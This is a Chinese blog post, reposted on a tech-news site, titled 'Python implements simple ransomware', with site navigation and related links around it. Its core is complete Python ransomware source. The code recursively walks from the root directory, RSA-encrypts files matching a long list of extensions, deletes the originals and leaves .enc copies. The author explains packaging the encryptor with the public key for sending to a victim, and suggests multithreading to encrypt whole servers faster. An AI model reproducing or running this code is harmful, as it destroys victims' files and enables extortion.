iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Python实现简易勒索病毒
  • 274
分享到

Python实现简易勒索病毒

安全python 2023-09-04 07:09:17 274人浏览 八月长安

Python 官方文档:入门教程 => 点击学习

摘要

一、勒索病毒          简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密

一、勒索病毒

         简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密算法,依赖于大质数分解难题,通过公钥无法轻易破解私钥。此demo的核心思想就是在攻击者本地生成RSA公私钥,并把私钥保存起来,使用公钥加密受害者电脑上的数据。废话不多说,直接上代码。

二、Python简易勒索病毒

import base64import os.pathimport rsa#生产1024位公私钥并保存为.pem  先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可# pub, priv = rsa.newkeys(1024)## pub = pub.save_pkcs1()# with open(f"./keys/pubkey.pem", mode="wb") as file:#     file.write(pub)## priv = priv.save_pkcs1()# with open(f"./keys/privkey.pem", mode="wb") as file:#     file.write(priv)#预定义想要加密的文件后缀名,可以自己选择target_list_str = ".txt  .exe  .PHP  .pl  .7z  .rar  .m4a  .wma  .avi  .wmv  .csv  .d3Dbsp  .sc2save  .sie  .sum  " \                  ".ibank  .t13  .t12  .qdf  .gdb  .tax  .pkpass  .bc6  .bc7  .bkp  .qic  .bkf  .sidn  .sidd  .mddata " \                  " .itl  .itdb  .icxs  .hvpl  .hplg  .hkdb  .mdbackup  .syncdb  .gho  .cas  .svg  .map  .wmo  .itm  " \                  ".sb  .fos  .mcgame  .vdf  .ztmp  .sis  .sid  .ncf  .menu  .layout  .dmp  .blob  .esm  .vtf  " \                  ".dazip  .fpk  .mlx  .kf  .iwd  .vpk  .tor  .psk  .rim  .w3x  .fsh  .ntl  .arch00  .lvl  .snx  .cfr " \                  " .ff  .vpp_pc  .lrf  .m2  .mcmeta  .vfs0  .mpqge  .kdb  .db0  .mp3  .upx  .rofl  .hkx  .bar  .upk  " \                  ".das  .iwi  .litemod  .asset  .forge  .ltx  .bsa  .apk  .re4  .sav  .lbf  .slm  .bik  .epk  " \                  ".rgss3a  .pak  .big  .Unity3d  .wotreplay  .xxx  .desc  .py  .m3u  .flv  .js  .CSS  .rb  .png  " \                  ".jpeg  .p7c  .p7b  .p12  .pfx  .pem  .crt  .cer  .der  .x3f  .srw  .pef  .ptx  .r3d  .rw2  .rwl  " \                  ".raw  .raf  .orf  .nrw  .mrwref  .mef  .erf  .kdc  .dcr  .cr2  .crw  .bay  .sr2  .srf  .arw  .3fr  " \                  ".dng  .jpeg  .jpg  .cdr  .indd  .ai  .eps  .pdf  .pdd  .psd  .dbfv  .mdf  .wb2  .rtf  .wpd  .dxg  " \                  ".xf  .dwg  .pst  .accdb  .mdb  .pptm  .pptx  .ppt  .xlk  .xlsb  .xlsm  .xlsx  .xls  .wps  .docm  " \                  ".docx  .doc  .odb  .odc  .odm  .odp  .ods  .odt  .sql  .zip  .tar  .tar.gz  .tgz  .biz  .ocx  " \                  ".html  .htm  .3gp  .srt  .cpp  .mid  .mkv  .mov  .asf  .mpeg  .vob  .mpg  .fla  .swf  .wav  .qcow2 " \                  " .vdi  .vmdk  .vmx  .gpg  .aes  .ARC  .PAQ  .tar.bz2  .tbk  .bak  .djv  .djvu  .bmp  .cgm  .tif  " \                  ".tiff  .NEF  .cmd  .class  .jar  .java  .asp  .brd  .sch  .dch  .dip  .vbs  .asm  .pas  .ldf  .ibd " \                  " .MYI  .MYD  .frm  .dbf  .SQLITEDB  .SQLITE3  .asc  .lay6  .lay  .ms11  .sldm  " \                  ".sldx  .ppsm  .ppsx  .ppam  .docb  .mml  .sxm  .otg  .slk  .xlw  .xlt  .xlm  .xlc  .dif  .stc  " \                  ".sxc  .ots  .ods  .hwp  .dotm  .dotx .docm  .DOT  .max  .xml  .uot  .stw  .sxw  .ott  .csr  .key  " \# 加密过程def rsa_encrypt(filename):    if filename.split(".")[-1] in target_list:        with open("./pubkey.pem") as file:  #加载RSA公钥,准备加密            pub = file.read()            pub = rsa.PublicKey.load_pkcs1(pub)        with open(filename, mode='rb') as file:            data = file.read()        # 删除原始文件        os.remove(filename)        res = []        for i in range(0, len(data), 117):            res.append(rsa.encrypt(data[i:i + 117], pub))        byte_data = b''.join(res)        byte_data = base64.b64encode(byte_data).decode()        filename = filename + ".enc" #加密后的文件后缀名改为.enc        with open(filename, mode='w') as file:            file.write(byte_data)def encrypt(file_path):    if os.path.isdir(file_path):        file_names = os.listdir(file_path)        for file_name in file_names:            file_name = os.path.join(file_path, file_name)            if os.path.isdir(file_name):                encrypt(file_name)            else:                rsa_encrypt(file_name)    else:        rsa_encrypt(file_path)# 解密过程,当然如果当为攻击程序肯定不能发送到被害者服务器,此处是为了防止误操作将自己文件加密后的还原(或者确保受害者无法浏览到此代码也可一起发送)def rsa_decrypt(file_name):    if file_name.split(".")[-2] in target_list:        with open("./privkey.pem", mode="rb") as file:            priv = file.read()            priv = rsa.PrivateKey.load_pkcs1(priv)        with open(file_name, mode='r') as file:            data = file.read()        data = base64.b64decode(data.encode())        res = []        for i in range(0, len(data), 128):            temp_plaintext = rsa.decrypt(data[i:i + 128], priv)            res.append(temp_plaintext)        last = b''.join(res)        #删除加密文件        os.remove(file_name)        with open(file_name.replace(".enc", ""), mode='wb') as file:            file.write(last)def decrypt(file_path):    if os.path.isdir(file_path):        file_names = os.listdir(file_path)        for file_name in file_names:            file_name = os.path.join(file_path, file_name)            if os.path.isdir(file_name):                decrypt(file_name)            else:                rsa_decrypt(file_name)    else:        rsa_decrypt(file_path)if __name__ == "__main__":    target_list = []    for i in target_list_str.split("."):        target_list.append(i.strip())    encrypt("/") #此处自定义想要加密的目录名称,我这里写成了linux下的根目录    #decrypt("/")#解密加密后的文件

 三、总结

        此代码若加密单独文件夹下的文件或者加密少量文件效率还可以,但是如果加密整个大的服务器系统可能会导致卡死。我觉得解决办法可以是使用多线程python中的threading进行多线程加密。同时可能存在当前用户权限不够导致文件无法加密的情况,这个问题目前还没想到解决办法,以后有时间再来研究一下。但此demo加密一些普通文件夹还是没有问题的,主要是了解一下勒索病毒的原理以及一些常用的加密算法。欢迎各路大佬留下评论交流!

来源地址:https://blog.csdn.net/m0_56375711/article/details/129361463

--结束END--

本文标题: Python实现简易勒索病毒

本文链接: https://www.lsjlt.com/news/393088.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Python实现简易勒索病毒
    一、勒索病毒          简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密...
    99+
    2023-09-04
    安全 python
  • Oracle RushQL勒索病毒恢复方法
    在上期 《勒索病毒Globelmposter来袭,数据备份你做好了吗》 中,我们介绍了Globelmposter勒索病毒,以SMB、RDP协议漏洞为突破口,加密篡改用户文件,从而达到勒索的目的,其感...
    99+
    2024-04-02
  • 如何修复勒索病毒漏洞
    通过关闭445端口修复勒索病毒漏洞,具体方法如下:首先,在计算机中使用组合键“win+R”运行regedi,进入注册表;进入到注册表后,在注册表中依次打开以下Parameters文件;HKEY_LOCAL_MACHINE\System\Co...
    99+
    2024-04-02
  • 云服务器会中勒索病毒吗
    云服务器(Cloud Hosting)勒索病毒是一种恶意软件,它通过加密用户的文件并使其无法打开来加密其他人的文件。因此,云服务器不可能中勒索病毒。但是,如果您的服务器已经受到勒索病毒攻击,您可以采取以下步骤来处理它: 立即断开网络连接...
    99+
    2023-10-26
    病毒 服务器
  • 勒索病毒最全系列补丁下载 Windows系统各版本勒索病毒防范全攻略
    5月12日起,Onion、WNCRY两类敲诈者病毒变种在全国乃至全世界大范围内出现爆发态势,大量个人和企业、机构用户中招。与以往不同的是,这次的新变种病毒添加了NSA(美国国家安全局)黑客工具包中的“永恒之蓝...
    99+
    2023-05-22
    勒索病毒 补丁 勒索病毒补丁下载 xp补丁
  • 香港主机如何预防勒索病毒
    香港主机预防勒索病毒的方式:1、需要提高安全意识,不要随意使用香港主机打开未知来源的文件以及链接;2、给香港主机安装并启用防火墙,提高防御能力;3、需要定期对香港主机进行安全检测,排查系统漏洞以及异常问题,并及时进行修复,防止被黑客利用入侵...
    99+
    2024-04-02
  • 云主机该如何预防勒索病毒
    云主机预防勒索病毒的措施:1.在云主机的日常使用中尽量避免使用简单的口令,建议使用强密码口令以及定期更新口令。2.定期进行数据备份,重要资料要进行隔离备份。3. 及时修补系统漏洞以及更新补丁,关闭没必要的端口,控制共享文件夹的权限。4. 安...
    99+
    2024-04-02
  • 扒勒索病毒史,聊真CDP与准CDP
    扒勒索病毒史,聊真CDP与准CDP聊CDP之前,先聊勒索病毒据公开资料显示,全球最早的勒索病毒雏形诞生于1989年,由Joseph Popp编写,该木马程序以“艾滋病信息引导盘”的形式进入系统。中国大陆第一个勒索软件——Redplus勒索木...
    99+
    2023-06-04
  • 减少勒索病毒影响的八种策略
    1. 及时进行数据备份:定期备份所有重要的文件和数据,并将备份文件存储在离线或外部服务器上。这样,即使受到勒索病毒攻击,也能够恢复数...
    99+
    2023-09-22
    策略
  • 美国服务器中如何防御勒索病毒
    美国服务器中防御勒索病毒的方法:1.避免使用简单口令,必须采用大小写字母、数字、特殊符号混合组成的方式;2.避免使用相同或类似的登录口令,减少一台被感染而影响多台的情况;3.对数据进行定期隔离备份,多机异地备份、RAID磁盘阵列备份、混合云...
    99+
    2024-04-02
  • 香港云vps主机怎么预防勒索病毒
    香港云vps主机预防勒索病毒的方法:1、避免使用简单的口令,使用强密码口令及定期更新口令;2、定期进行数据备份,重要资料要进行隔离备份;3、 及时修补系统漏洞和更新补丁,关闭不用的端口,控制共享文件夹的权限;4、安装防火墙等安全软件,并及时...
    99+
    2024-04-02
  • 使用云vps主机如何预防勒索病毒
    使用云vps主机预防勒索病毒的方法:1、避免使用简单的口令,使用强密码口令及定期更新口令;2、定期进行数据备份,重要资料要进行隔离备份;3、 及时修补系统漏洞和更新补丁,关闭不用的端口,控制共享文件夹的权限;4、安装防火墙等安全软件,并及时...
    99+
    2024-04-02
  • SQL Server数据库mdf文件中了勒索病毒*.mdf.c4h
    常见的扩展名如下: *.mdf.[decrypt@files.mn].c4h *.mdf.id-F047696E.[3441546223@qq.com].ncov *.mdf.[zikont@ut...
    99+
    2024-04-02
  • Oracle_勒索病毒的解决方案是怎么样的
    这期内容当中小编将会给大家带来有关Oracle_勒索病毒的解决方案是怎么样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。Oracle_勒索病毒解决方案Oracle:11...
    99+
    2024-04-02
  • 阿里云服务器勒索病毒问及解决方案
    阿里云服务器在近日被发现存在勒索病毒问题,许多用户对此感到担忧。本文将深入探讨这个问题的原因、影响以及解决方法。 一、勒索病毒问题的原因根据相关报道,阿里云服务器勒索病毒问题的主要原因是服务器未及时更新操作系统补丁和防病毒软件,导致病毒得以...
    99+
    2024-01-26
    阿里 解决方案 病毒
  • 阿里云服务器勒索病毒怎么解决问题
    简介 近期,阿里云服务器遭遇了一次大规模的勒索病毒攻击,许多用户的数据和系统被加密锁定,给企业和个人带来了极大的困扰。本文将介绍一些常见的解决方法,帮助用户应对阿里云服务器上的勒索病毒问题。解决方法1. 及时备份数据为了避免数据丢失,建议用...
    99+
    2023-12-27
    阿里 解决问题 病毒
  • SQL Server数据库mdf文件中了勒索病毒*.mdf.id_12322214_.WECANHELP
    *SQL Server数据库mdf文件中了勒索病毒*.mdf.id_12322214_.WECANHELP。扩展名变为WECANHELP SQL Server数据库mdf文件中了勒索病毒 *.mdf.id_...
    99+
    2024-04-02
  • 加密勒索病毒:诞生、忽视以及爆炸式增长
      Cryptovirology(加密勒索病毒)诞生于安全专家对于一种新型软件攻击的科学好奇心,这种网络攻击技术将加密技术与恶意软件相结合,它起源于哥伦比亚大学。哥伦比亚大学的密码学家和IBM的安全专家对Cryptovirology进行了明...
    99+
    2023-06-04
  • python 使用ClamAV实现病毒扫
    首先安装clamavyum install clamav-server clamav-data clamav-update clamav-filesystem clamav clamav-scanner-systemd clama...
    99+
    2023-01-31
    病毒 python ClamAV
  • python简单的病毒编程代码,如何用python写一个病毒
    大家好,本文将围绕python简单的病毒编程代码展开说明,如何用python做恶搞病毒是一个很多人都想弄明白的事情,想搞清楚如何用python写一个病毒需要先了解以下几个事情。 1、Python能不能写病毒 国家计算机病毒应急处理中心通...
    99+
    2023-09-08
    小发猫
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作